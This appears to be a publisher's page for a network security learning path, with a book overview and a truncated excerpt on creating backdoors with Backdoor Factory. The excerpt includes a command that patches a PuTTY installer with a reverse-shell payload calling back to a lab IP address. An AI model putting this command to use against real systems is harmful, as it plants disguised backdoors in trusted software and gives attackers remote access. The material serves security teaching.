Book Image

Securing Network Infrastructure

By : Sairam Jetty, Sagar Rahalkar
Book Image

Securing Network Infrastructure

By: Sairam Jetty, Sagar Rahalkar

Overview of this book

Digitization drives technology today, which is why it’s so important for organizations to design security mechanisms for their network infrastructures. Analyzing vulnerabilities is one of the best ways to secure your network infrastructure. This Learning Path begins by introducing you to the various concepts of network security assessment, workflows, and architectures. You will learn to employ open source tools to perform both active and passive network scanning and use these results to analyze and design a threat model for network security. With a firm understanding of the basics, you will then explore how to use Nessus and Nmap to scan your network for vulnerabilities and open ports and gain back door entry into a network. As you progress through the chapters, you will gain insights into how to carry out various key scanning tasks, including firewall detection, OS detection, and access management to detect vulnerabilities in your network. By the end of this Learning Path, you will be familiar with the tools you need for network scanning and techniques for vulnerability scanning and network protection. This Learning Path includes content from the following Packt books: •Network Scanning Cookbook by Sairam Jetty •Network Vulnerability Assessment by Sagar Rahalkar
Table of Contents (28 chapters)
Title Page
Copyright and Credits
About Packt
Contributors
Preface
Index

Creating backdoors using Backdoor Factory


A quick look at the dictionary meaning of the word backdoor gives us achieved by using indirect or dishonest means. In the computing world, backdoors are something which are hidden and are used to get covert entry into the system. For example, if we get a plain executable file from some unknown person, we may get suspicious. However, if we get a genuine-looking installer then we might execute it. However, that installer might have a hidden backdoor which may open up our system to the attacker.

Creating a backdoor typically involves patching a genuine looking executable with our shellcode. Kali Linux has a special tool backdoor-factory which helps us create backdoors. The backdoor-factory can be launched from the Terminal as shown in the following image:

We now execute the command as shown in the following image:

root@kali:~# backdoor-factory -f /root/Desktop/putty.exe -s reverse_shell_tcp_inline -H  192.168.25.128 -P 8080

This command would open the...